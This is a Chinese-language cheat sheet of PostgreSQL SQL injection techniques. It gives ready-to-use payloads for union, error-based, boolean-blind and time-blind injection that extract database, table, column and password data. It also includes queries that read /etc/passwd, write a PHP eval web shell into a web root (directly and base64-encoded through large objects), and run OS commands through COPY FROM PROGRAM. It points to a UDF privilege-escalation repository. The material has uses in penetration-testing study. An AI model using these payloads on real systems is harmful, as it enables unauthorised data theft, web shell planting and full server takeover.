pgsql注入的一些方式
pgsql注入 pgsql，全称PostgreSQL，是一个功能强大的开源对象关系型数据库系统，他使用和拓展了SQL语言，是目前功能最强大的开源数据库
1 pgsql开源、免费，同时稳定可靠，还能支持大量主流开发语言。pgsql适合中小型公司
基本操作 查看版本：
1 2 3 4 select version();show server_version;SHOW server_version_num;select current_setting('server_version_num' )::integer ;
查看当前用户：
1 2 select user ;select * from current_user ;
查看配置名：
1 select name ,setting from pg_settings;
查看当前库：
1 select current_database();
查看schema：
1 select schemaname from pg_tables group by schemaname;
查看表：
1 select * from pg_tables;
1 select tablename from pg_tables where schemaname='public' ;
查看非系统表
1 select tablename from pg_tables where tablename NOT LIKE 'pg%' and tablename NOT LIKE 'sql_%' ORDER BY tablename
注释：
limit offset：
1 2 3 4 select table_name from pg_tables where schemaname='public' limit 1 offset 0
联合查询 同样地，判断是否存在注入点都可以利用
判断是否为pgsql：
判断列数还是利用order by
判断回显：
1 1 union select '1' , '2' , '3' , '4'
获取当前数据库：
1 -1 union select '1' , current_database(), '3' , '4'
获取所有数据库：
string_agg()，将查询到的数据用符号拼接起来
Datname：数据库的名字
pg_database: 存储着所有的数据库名
1 -1 union select '1' ,string_agg(datname,'~' ),'3' ,'4' from pg_database()
1 select schemaname from pg_tables group by schemaname;
获取表名：
1 -1 union select '1' ,string_agg(table_name ,'~' ),'3' ,'4' from information_schema.tables where table_schema='public'
1 -1 union select '1' ,string_agg(table_name ,'~' ),'3' ,'4' from pg_tables where schemaname='public'
查column：
1 -1 union select '1' ,string_agg(column_name ,'~' ),'3' ,'4' from information_schema.columns where table_name ='xxx'
1 SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='user_tbl' AND nspname='public' ;
查内容：
1 -1 union select '1' , string_agg(xxx, '~' ),'3' ,'4' from xxx
报错注入 利用CAST：
1 select CAST((SELECT current_database())::text AS NUMERIC );
1 id= admin ' and 1=cast((select version())::text AS NUMERIC)--
爆库：
1 id= admin ' and 1=cast((select string_agg(datname,' ~') from pg_database)::text AS NUMERIC)--
1 id= admin ' and 1=cast((select current_database())::text AS NUMERIC)--
爆表：
1 id= admin ' and 1=cast((select string_agg(table_name,' ~') from pg_tables where schemaname=' public ')::text AS NUMERIC)--
1 id= admin ' and 1=cast((select string_agg(table_name,' ~') from information_schema.tables where table_schema=' public ')::text AS NUMERIC)--
爆列名：
1 id= admin ' and 1=cast((select string_agg(column_name,' ~') from information_schema.columns where table_name=' xxx')::text AS NUMERIC)--
数据：
1 id= admin ' and 1=cast((select string_agg(xxx,' ~',xxx) from xxx)::text AS NUMERIC)--
pgsql中，可以利用||连接：
1 admin ' and 1=cast((select name||' ::'||password from public.users limit 1 offset 0) as numeric)--
布尔盲注 1 1 ' and length(current_database())<xxx--
1 1 ' and ascii(substr(current_database(),1,1))<xxx--
1 1 ' and ascii(substr((select string_agg(table_name) from information_schema.tables where table_schema=' public '),1,1))<xxx--
1 1 ' and ascii(substr((select string_agg(column_name) from information_schema.columns where table_name=' xxx'),1,1))<xxx--
1 1 ' and ascii(substr((select string_agg(xxx) from xxx),1,1))<xxx--
时间盲注 只需要利用pg_sleep替代Mysql的sleep即可：
1 1' and if((ascii(substr((select current_database()),1,1))<xxx),pg_sleep(3),0)
1 2 3 4 5 6 7 8 9 10 11 查库： 1 and (case when (ascii(substr((select datname from pg_database limit 1 ),1 ,1 ))=97 ) then (select 5 from pg_sleep(5 )) else 1 end ) 查表： 1 and (case when (ascii(substr((select relname from pg_stat_user_tables limit 1 offset 0 ),1 ,1 ))=97 ) then (select 5 from pg_sleep(5 )) else 1 end ) 查列： 1 and (case when (ascii(substr((select column_name from information_schema.columns where table_name ="users" limit 1 offset 0 ),1 ,1 ))=97 ) then (select 5 from pg_sleep(5 )) else 1 end ) 查字段： 1 and (case when (ascii(substr((select password from users limit 1 offset 0 ),1 ,1 ))=97 ) then (select 5 from pg_sleep(5 )) else 1 end )
堆叠注入 同mysql
文件操作 列目录：
读文件：
1 select pg_read_file('/etc/passwd' );
1 2 3 CREATE TABLE passwd(t TEXT );COPY passwd FROM '/etc/passwd' ;select * from passwd;
写文件：
1 copy (select '<?php @eval($_POST[1]);?>' ) to '/var/www/html/shell.php'
1 2 3 select lo_from_bytea(12350 ,decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=' ,'base64' ));select lo_export(12350 , '/var/www/html/shell.php' );select lo_unlink(12350 );
命令执行 1 2 3 4 5 drop table if exists cmd_exec;create table cmd_exec(cmd_output text );copy cmd_exec from program 'id' ;select cmd_output from cmd_exec;drop table if exists cmd_exec;
udf提权 GitHub - sqlmapproject/udfhack: Database takeover UDF repository